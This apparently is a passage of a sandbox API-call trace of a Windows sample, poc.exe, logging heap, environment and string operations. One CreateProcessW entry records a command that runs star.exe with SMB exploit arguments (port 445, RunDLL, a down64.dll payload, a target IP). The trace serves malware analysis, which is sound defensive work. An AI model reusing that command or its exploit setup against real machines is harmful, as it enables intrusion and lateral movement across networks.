!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÅF2\x96Øþ(", lpUsedDefaultChar=0x0) returned 256 [0118.749] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x80) returned 0x75cab8 [0118.749] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28fce4, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0118.749] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3a) returned 0x756cd8 [0118.749] RtlInitializeSListHead (in: ListHead=0x417b18 | out: ListHead=0x417b18) [0118.749] GetLastError () returned 0x0 [0118.749] SetLastError (dwErrCode=0x0) [0118.749] GetEnvironmentStringsW () returned 0x770610* [0118.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1454, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1454 [0118.749] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x5ae) returned 0x771178 [0118.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1454, lpMultiByteStr=0x771178, cbMultiByte=1454, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpUsedDefaultChar=0x0) returned 1454 [0118.749] FreeEnvironmentStringsW (penv=0x770610) returned 1 [0118.749] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x9c) returned 0x75c6b0 [0118.749] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1f) returned 0x771748 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x36) returned 0x7632b0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x37) returned 0x7632f0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3c) returned 0x756d68 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x31) returned 0x763330 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761ab0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x24) returned 0x75afb0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x14) returned 0x761ad0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xd) returned 0x753228 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x25) returned 0x75afe0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x39) returned 0x756e40 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761af0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761b10 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xe) returned 0x753300 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x69) returned 0x769c50 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3e) returned 0x756f18 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1b) returned 0x771770 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1d) returned 0x771798 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x48) returned 0x75b900 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x12) returned 0x761b30 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761b50 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1b) returned 0x7717c0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x24) returned 0x75b010 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x29) returned 0x757cc0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1e) returned 0x7717e8 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xc) returned 0x753348 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x41) returned 0x75b518 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761b70 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xf) returned 0x753330 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x16) returned 0x761b90 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x2a) returned 0x758238 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x29) returned 0x758040 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x15) returned 0x761bb0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1e) returned 0x771810 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x2a) returned 0x7581c8 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x12) returned 0x761bd0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761bf0 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x46) returned 0x758e50 [0118.750] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x771178 | out: hHeap=0x740000) returned 1 [0118.750] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x800) returned 0x770610 [0118.751] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.751] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4019a8) returned 0x0 [0118.751] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1c) returned 0x7718b0 [0118.751] GetLastError () returned 0x0 [0118.751] SetLastError (dwErrCode=0x0) [0118.751] GetLastError () returned 0x0 [0118.751] SetLastError (dwErrCode=0x0) [0118.751] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0118.751] AreFileApisANSI () returned 1 [0118.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x7718b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0118.751] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x38) returned 0x763370 [0118.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x7718b0, cbMultiByte=-1, lpWideCharStr=0x763370, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0118.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x28fa90 | out: lpFileInformation=0x28fa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0118.752] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.752] SysReAllocStringLen (in: pbstr=0x28f9b0*="C:", psz="c:", len=0x2 | out: pbstr=0x28f9b0*="c:") returned 1 [0118.752] SysReAllocStringLen (in: pbstr=0x28f998*=0x0, psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f998*="\\device\\harddiskvolume1") returned 1 [0118.752] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\Windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0118.752] SysReAllocStringLen (in: pbstr=0x28f9e8*="\\device\\harddiskvolume1\\Windows\\system32\\cmd.exe", psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x28f9e8*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0118.752] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0118.752] SysReAllocStringLen (in: pbstr=0x4707c4*=0x0, psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x4707c4*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0118.753] SysReAllocStringLen (in: pbstr=0x4707e8*=0x0, psz="device", len=0x6 | out: pbstr=0x4707e8*="device") returned 1 [0118.753] SysReAllocStringLen (in: pbstr=0x470808*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470808*="harddiskvolume1") returned 1 [0118.753] SysReAllocStringLen (in: pbstr=0x470814*=0x0, psz="windows", len=0x7 | out: pbstr=0x470814*="windows") returned 1 [0118.753] SysReAllocStringLen (in: pbstr=0x470820*=0x0, psz="system32", len=0x8 | out: pbstr=0x470820*="system32") returned 1 [0118.753] SysReAllocStringLen (in: pbstr=0x47082c*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x47082c*="cmd.exe") returned 1 [0118.753] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0118.753] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.753] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowskvolume1", lpUsedDefaultChar=0x0) returned 7 [0118.754] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32volume1", lpUsedDefaultChar=0x0) returned 8 [0118.754] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2volume1", lpUsedDefaultChar=0x0) returned 7 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] GetCurrentThreadId () returned 0x1110 [0118.754] SetEvent (hEvent=0xd4) returned 1 [0118.755] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x763370 | out: hHeap=0x740000) returned 1 [0118.755] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xd0) returned 0x75be38 [0118.755] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x144) returned 0x75bf10 [0118.755] GetLastError () returned 0x0 [0118.755] SetLastError (dwErrCode=0x0) [0118.755] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x38) returned 0x763370 [0118.755] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x1a0) returned 0x75c178 [0118.755] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x28fa70*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x75bf10, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28fab4 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171", lpProcessInformation=0x28fab4*(hProcess=0xf8, hThread=0xf4, dwProcessId=0x140c, dwThreadId=0x1410)) returned 1 [0118.756] CharLowerBuffW (in: lpsz="\\??\\C:\\Windows\\system32\\cmd.exe", cchLength=0x1f | out: lpsz="\\??\\c:\\windows\\system32\\cmd.exe") returned 0x1f [0118.756] SysReAllocStringLen (in: pbstr=0x4707c4*=0x0, psz="\\??\\c:\\windows\\system32\\cmd.exe", len=0x1f | out: pbstr=0x4707c4*="\\??\\c:\\windows\\system32\\cmd.exe") returned 1 [0118.756] SysReAllocStringLen (in: pbstr=0x4707c8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4707c8*="c:") returned 1 [0118.756] SysReAllocStringLen (in: pbstr=0x4707e8*=0x0, psz="windows", len=0x7 | out: pbstr=0x4707e8*="windows") returned 1 [0118.756] SysReAllocStringLen (in: pbstr=0x470808*=0x0, psz="system32", len=0x8 | out: pbstr=0x470808*="system32") returned 1 [0118.756] SysReAllocStringLen (in: pbstr=0x470814*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x470814*="cmd.exe") returned 1 [0118.756] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0118.756] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32", lpUsedDefaultChar=0x0) returned 8 [0118.756] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2", lpUsedDefaultChar=0x0) returned 7 [0118.757] SysReAllocStringLen (in: pbstr=0x28f2a4*="\\??\\C:\\Windows\\system32\\cmd.exe", psz="c:\\windows\\system32\\cmd.exe", len=0x1b | out: pbstr=0x28f2a4*="c:\\windows\\system32\\cmd.exe") returned 1 [0118.757] SysReAllocStringLen (in: pbstr=0x28f04c*=0x0, psz="c:\\windows\\system32\\cmd.exe", len=0x1b | out: pbstr=0x28f04c*="c:\\windows\\system32\\cmd.exe") returned 1 [0118.757] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.757] SysReAllocStringLen (in: pbstr=0x28f028*="c:", psz="c:", len=0x2 | out: pbstr=0x28f028*="c:") returned 1 [0118.758] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0118.758] SysReAllocStringLen (in: pbstr=0x4707c4*=0x0, psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x4707c4*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0118.758] SysReAllocStringLen (in: pbstr=0x4707e8*=0x0, psz="device", len=0x6 | out: pbstr=0x4707e8*="device") returned 1 [0118.758] SysReAllocStringLen (in: pbstr=0x470808*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470808*="harddiskvolume1") returned 1 [0118.758] SysReAllocStringLen (in: pbstr=0x470814*=0x0, psz="windows", len=0x7 | out: pbstr=0x470814*="windows") returned 1 [0118.758] SysReAllocStringLen (in: pbstr=0x470820*=0x0, psz="system32", len=0x8 | out: pbstr=0x470820*="system32") returned 1 [0118.758] SysReAllocStringLen (in: pbstr=0x47082c*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x47082c*="cmd.exe") returned 1 [0118.758] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceA", lpUsedDefaultChar=0x0) returned 6 [0118.758] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.759] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowskvolume1", lpUsedDefaultChar=0x0) returned 7 [0118.759] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32volume1", lpUsedDefaultChar=0x0) returned 8 [0118.759] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28dfa4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2volume1", lpUsedDefaultChar=0x0) returned 7 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] GetCurrentThreadId () returned 0x1110 [0118.759] SetEvent (hEvent=0xd4) returned 1 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] SetEvent (hEvent=0xd4) returned 1 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] GetCurrentThreadId () returned 0x1110 [0118.765] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] SetEvent (hEvent=0xd4) returned 1 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] SetEvent (hEvent=0xd4) returned 1 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] SetEvent (hEvent=0xd4) returned 1 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.766] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] SetEvent (hEvent=0xd4) returned 1 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] GetCurrentThreadId () returned 0x1110 [0118.767] SetEvent (hEvent=0xd4) returned 1 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] SetEvent (hEvent=0xd4) returned 1 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.821] GetCurrentThreadId () returned 0x1110 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] GetCurrentThreadId () returned 0x1110 [0118.822] SetEvent (hEvent=0xd4) returned 1 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] SetEvent (hEvent=0xd4) returned 1 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] SetEvent (hEvent=0xd4) returned 1 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] GetCurrentThreadId () returned 0x1110 [0118.823] SetEvent (hEvent=0xd4) returned 1 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.824] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.824] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] SetEvent (hEvent=0xd4) returned 1 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] SetEvent (hEvent=0xd4) returned 1 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] GetCurrentThreadId () returned 0x1110 [0118.825] SetEvent (hEvent=0xd4) returned 1 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] SetEvent (hEvent=0xd4) returned 1 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] 